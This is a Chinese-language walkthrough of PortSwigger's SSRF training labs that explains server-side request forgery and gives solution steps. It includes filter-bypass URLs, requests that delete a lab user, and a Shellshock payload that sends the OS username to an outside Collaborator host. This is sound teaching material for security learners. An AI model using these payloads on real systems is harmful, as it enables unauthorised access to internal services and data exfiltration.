Portwigge的Web安全漏洞训练平台SSRF通关

前言

Portswigger是Burpsuite的官网，也是一个非常好的漏洞训练平台。其Web安全靶场地址为：https://portswigger.net/web-security/

该靶场的训练内容侧重于对Burpsuite各项功能的深入挖掘，这也是《黑客攻防技术宝典Web实战篇》的实战训练平台，配合使用学习效果更佳。

这里仅针对其中的SSRF漏洞靶场，进行一个完整的解读。

SSRF漏洞简介

服务器端请求伪造(SSRF)是一种 web 安全漏洞，它允许攻击者诱导服务器端应用程序向攻击者选择的任意域发出 HTTP 请求。

在典型的 SSRF 示例中，攻击者可能会使服务器连接回自己，或者连接到这个组织的其他基于 web 的服务，或者连接到外部的第三方系统。

SSRF 攻击的影响

成功的SSRF攻击通常会导致易受攻击的应用程序本身或可以与该应用程序通信的其他后端系统上未经授权的操作或对组织内数据的访问。在某些情况下，SSRF漏洞可能允许攻击者执行任意命令。

常见的SSRF攻击

SSRF 攻击经常利用信任关系将来自易受攻击的应用程序的攻击升级并执行未经授权的操作。这些信任关系可能与服务器本身有关，或者与同一组织内的其他后端系统有关。

针对服务器本身的SSRF攻击

漏洞介绍

在针对服务器本身的 SSRF 攻击中，攻击者诱导应用程序通过其环回网络接口向托管应用程序的服务器发出 HTTP 请求。这通常包括提供一个带有主机名的 URL，比如127.0.0.1或 localhost。

例如，考虑一个购物应用程序，该应用程序允许用户查看某个商店中是否有存货。为了提供库存信息，应用程序必须根据所涉及的产品和商店查询各种后端REST API。该功能是通过将URL通过前端HTTP请求传递到相关的后端API端点来实现的。因此，当用户查看某件商品的库存状态时，他们的浏览器会发出如下请求：

POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1

这使服务器向指定的URL发出请求，检索库存状态，并将其返回给用户。

在这种情况下，攻击者可以修改请求以指定服务器本地的URL。例如：

POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://localhost/admin

在这里，服务器将获取/admin的内容并将其返回给用户。

当然，现在攻击者可以直接访问/admin。但是管理功能通常只有适当的经过身份验证的用户才能访问。因此，直接访问URL的攻击者不会看到任何感兴趣的内容。但是，当对/admin URL 的请求来自本地计算机本身时，将绕过正常的访问控制。该应用程序授予对管理功能的完全访问权限，因为该请求似乎来自受信任的位置。

Lab: Basic SSRF against the local server

地址：https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost

靶场介绍：

这个靶场有一个库存检查功能，可以从内部系统中获取数据。

要通关此靶场，请更改库存检查的URL以访问管理界面http://localhost/admin并删除用户carlos。

靶场通关：

点击Access the lab进入靶场。

点击Check stock抓包

修改stockApi的内容为：http://locathost/admin

再点击删除carlos用户，抓包，得到删除目标用户的URL：

http://localhost/admin/delete?username=carlos

将stockApi参数修改为此URL即可

漏洞原因

为什么应用程序以这种方式运行，并且隐式信任来自本地机器的请求？出现这种情况的原因有很多:

（1） 访问控制检查可能在应用程序服务器前面的不同组件中实现。当连接返回到服务器本身时，就会绕过检查。

（2） 出于灾难恢复的目的，应用程序可能允许来自本地计算机的任何用户在不登录的情况下进行管理访问。这为管理员在丢失凭据时恢复系统提供了一种方法。这里的假设是，只有完全受信任的用户才会直接来自服务器本身

（3） 管理接口可能监听的端口号与主应用程序不同，因此用户可能无法直接访问。

这种信任关系(来自本地机器的请求与普通请求的处理方式不同)常常使SSRF成为一个严重的漏洞。

SSRF 对其他后端系统的攻击

漏洞介绍

服务器端请求伪造中经常出现的另一种信任关系是，应用服务器能够与用户无法直接访问的其他后端系统交互。这些系统通常有不可路由的私有 IP 地址。由于后端系统通常受到网络拓扑的保护，因此它们通常具有较弱的安全性。在许多情况下，内部后端系统包含敏感功能，任何能够与系统交互的人都可以在不进行身份验证的情况下访问这些功能。

在前面的例子中，假设在后端 URL https://192.168.0.68/admin 中有一个管理界面。在这里，攻击者可以通过提交以下请求，利用 SSRF 漏洞访问管理界面:

POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://192.168.0.68/admin

Lab: Basic SSRF against another back-end system

地址：https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-backend-system

靶场介绍：

该靶场具有库存检查功能，可从内部系统获取数据。

要通关此靶场，请使用库存检查功能扫描内部192.168.0.X范围，以查找端口8080上的管理界面，然后使用它删除用户carlos。

靶场通关：

点击Access the lab进入靶场。

点击Check stock抓包，发送到Intruder

设置payload,跑192.168.0.0/24这个C段的8080端口

找到状态为200的响应包，即为管理界面

再点击删除carlos用户，抓包，得到删除目标用户的URL：

http://192.168.0.205:8080/admin/delete?username=carlos

将stockApi参数修改为此URL即可

绕过常见的SSRF防御措施

包含 SSRF 行为的应用程序与旨在防止恶意利用的防御措施一起出现是很常见的。通常，这些防御措施可以被绕过。

SSRF攻击之绕过基于黑名单的输入过滤器

漏洞介绍

一些应用程序阻止包含主机名(如127.0.0.1和 localhost)或敏感 url (如/admin)的输入。在这种情况下，我们通常可以使用各种技术来绕过过滤器:

(1) 使用127.0.0.1的替代IP表示，例如：2130706433（10进制ip）、017700000001（8进制ip）、127.1（短ip）

(2) 注册自己的域名，解析为127.0.0.1

(3) 使用URL编码或大小写变化绕过

Lab: SSRF with blacklist-based input filter

地址：https://portswigger.net/web-security/ssrf/lab-ssrf-with-blacklist-filter

靶场介绍：

这个靶场有一个库存检查功能，可以从内部系统中获取数据。

要通关此靶场，请更改库存检查的URL以访问管理界面http://localhost/admin并删除用户carlos

开发人员已部署了两个弱的反SSRF防御，您需要绕过这些防御。

靶场通关：

点击Access the lab进入靶场。

点击Check stock抓包，发送到Repeater

将stockApi参数中的URL更改为http://127.0.0.1/，发现请求被阻止。

将127.0.0.1改为2130706433即可绕过

将URL更改为http://2130706433/admin，发现再次被阻止。

将字符a进行两次url编码得到%2561，或者用A替代a,即可绕过

将stockApi参数中的URL更改为http://2130706433/%2561dmin/delete?username=carlos 即可删除carlos用户

SSRF攻击之绕过基于白名单的输入过滤器

漏洞介绍

一些应用程序只允许匹配以允许值的白名单开头或包含这些值的输入。在这种情况下，有时可以通过利用URL解析中的不一致性来绕过过滤。

URL 规范包含了许多在实现 URL 特定解析和验证时容易被忽略的特性:

（1） 您可以使用@字符在主机名之前的URL中嵌入凭据。例如：

https://expected-host@evil-host

（2） 您可以使用#字符来指示URL片段。例如：

https://evil-host#expected-host

（3） 您可以利用DNS命名层次结构将所需的输入放入您控制的标准DNS名称中。例如：

https://expected-host.evil-host

（4） 您可以通过url编码字符来混淆url解析代码。如果实现过滤器的代码处理url编码字符的方式与处理后端HTTP请求的代码不同，那么这一点特别有用

Lab: SSRF with whitelist-based input filter

地址：https://portswigger.net/web-security/ssrf/lab-ssrf-with-whitelist-filter

靶场介绍：

这个靶场有一个库存检查功能，可以从内部系统中获取数据。

要通关此靶场，请更改库存检查的URL以访问管理界面http://localhost/admin并删除用户carlos

开发人员已部署了需要绕过的反SSRF防御。

靶场通关：

点击Access the lab进入靶场

点击Check stock抓包，发送到Repeater

将stockApi参数中的URL更改为http://127.0.0.1/ ，发现请求被阻止，告诉我们主机名必须是stock.weliketoshop.net

使用@字符可以绕过

添加#，之后请求又被阻止，告诉我们主机名必须是stock.weliketoshop.net

将#进行两次url编码，可以绕过

http://127.0.0.1:80%[email protected]

最后，访问

http://127.0.0.1:80%[email protected]/admin/delete?username=carlos

即可删除目标用户

通过开放重定向绕过 SSRF 过滤器

漏洞介绍

通过利用开放重定向漏洞，有时可以绕过任何类型的基于过滤器的防御。在前面的 SSRF 示例中，假设用户提交的 URL 经过严格验证，以防止恶意利用 SSRF 行为。但是，允许 url 的应用程序包含一个开放重定向漏洞。如果用于生成后端HTTP请求的API支持重定向，您可以构造一个满足筛选器的URL，并将重定向请求导向所需的后端目标。

例如，假设应用程序包含一个开放重定向漏洞，其URL如下:

/product/nextProduct?currentProductId=6&path=http://evil-user.net

返回重定向到:

http://evil-user.net

你可以利用开放重定向漏洞绕过 URL 过滤器，利用 SSRF 漏洞如下:

POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin

这个 SSRF 漏洞之所以有效，是因为应用程序首先验证所提供的 stockAPI URL 是否位于允许的域上(事实上它是)。然后，应用程序请求提供的 URL，这将触发打开的重定向。它遵循重定向，并向攻击者选择的内部 URL 发出请求。

Lab: SSRF with filter bypass via open redirection vulnerability

地址：https://portswigger.net/web-security/ssrf/lab-ssrf-filter-bypass-via-open-redirection

靶场介绍：

这个靶场有一个库存检查功能，可以从内部系统中获取数据。

要通关此靶场，请更改库存检查的URL以访问管理界面http://192.168.0.12:8080/admin 并删除用户carlos

库存检查器被限制为只能访问本地应用程序，因此您需要首先找到一个影响该应用程序的开放重定向。

靶场通关：

点击Access the lab进入靶场

点击Check stock抓包，发送到Repeater

观察到不可能使服务器直接将请求发布到其他主机

单击“Next product”，然后观察到path参数已放置在重定向响应的Location标头中，从而导致开放重定向

创建一个利用开放重定向漏洞的URL，并重定向到管理界面，并将其输入到stockApi参数

/product/nextProduct?path=http://192.168.0.12:8080/admin

库存检查器遵循重定向并显示了管理页面。下面，我们可以修改路径以删除目标用户

/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos

Blind SSRF漏洞

Blind SSRF简介

当应用程序被诱导向提供的URL发出后端HTTP请求，但后端请求的响应没有在应用程序的前端响应中返回时，就会出现Blind SSRF漏洞。

Blind SSRF通常更难利用，但有时会导致在服务器或其他后端组件上远程执行代码。

由于Blind SSRF漏洞的单向特性，其影响通常比常规的SSRF漏洞低。尽管在某些情况下可以利用它们来实现远程代码执行，但不能轻易利用它们从后端系统检索敏感数据

如何发现和利用Blind SSRF漏洞

检测Blind SSRF漏洞的最可靠方法是使用带外（OAST）技术。这涉及尝试触发对您控制的外部系统的HTTP请求，并监视与该系统的网络交互。

使用带外技术的最简单，最有效的方法是使用Burp Collaborator。您可以使用Burp Collaborator客户端生成唯一的域名，将其作为payload发送给应用程序，并监视与这些域的任何交互。如果观察到来自应用程序的传入HTTP请求，那么它很有可能存在SSRF漏洞。

Lab: Blind SSRF with out-of-band detection

地址：https://portswigger.net/web-security/ssrf/blind/lab-out-of-band-detection

靶场介绍：

该站点使用分析软件，该软件会在加载产品页面时获取Referer标头中指定的URL。

要通关此靶场，请使用此功能向公共Burp Collaborator服务器发出HTTP请求。

靶场通关：

点击Access the lab进入靶场

访问产品，在Burp Suite中拦截请求，然后将其发送给Burp Repeater

启动Burp Collaborator客户端

点击"Copy to clipboard"，并使Burp Collaborator客户端窗口保持打开状态。

更改Referer标头，以使用生成的Burp Collaborator域代替原始域。发送请求。

返回到Burp Collaborator客户端窗口，然后单击“Poll now”。如果没有任何交互，请等待几秒钟，然后重试，因为服务器端命令是异步执行的。

Lab: Blind SSRF with Shellshock exploitation

地址：https://portswigger.net/web-security/ssrf/blind/lab-shellshock-exploitation

靶场介绍：

该站点使用分析软件，该软件会在加载产品页面时获取Referer标头中指定的URL。

要通关此靶场，请使用此功能对192.168.0.X内的内部服务器执行Blind SSRF攻击。在攻击中，对内部服务器使用Shellshock有效载荷，以通过公共Burp Collaborator服务器泄露OS用户的名称。

靶场通关：

Burp中安装”Collaborator Everywhere”扩展

将靶机的域添加到Burp Suite的scope中，以便Collaborator Everywhere将其定位为目标。

浏览该站点。请注意，当加载产品页面时，它会通过User-Agent和Referer头触发与Burp Collaborator的HTTP交互。

将浏览产品页面的请求发送到Burp Intruder。

使用Burp Collaborator客户端生成唯一的Burp Collaborator有效负载，并将其放入以下Shellshock有效负载中：

() { :; }; /usr/bin/nslookup $(whoami).YOUR-SUBDOMAIN-HERE.burpcollaborator.net

将Burp Intruder请求中的User-Agent字符串替换为包含你的Collaborator域的Shellshock有效载荷。

再将Burp Intruder请求中的Referer字符串替换成http://192.168.0.X:8080

配置完成后，点击开始攻击

攻击完成后，返回Burp Collaborator客户端窗口，然后单击“Poll now”。如果未列出任何交互，请等待几秒钟，然后重试，因为服务器端命令是异步执行的。

之后，我们看到一个由后端系统发起的DNS交互，该后端系统受到了成功的Blind SSRF攻击。操作系统用户的名称出现在DNS子域中。